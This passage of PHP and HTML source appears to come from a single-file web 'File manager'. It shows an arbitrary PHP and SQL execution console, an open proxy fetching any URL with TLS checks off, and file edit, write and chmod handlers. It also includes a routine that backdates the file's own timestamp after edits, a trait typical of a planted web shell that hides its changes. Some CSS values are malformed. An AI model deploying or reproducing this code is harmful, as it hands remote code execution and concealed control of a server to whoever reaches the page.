<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
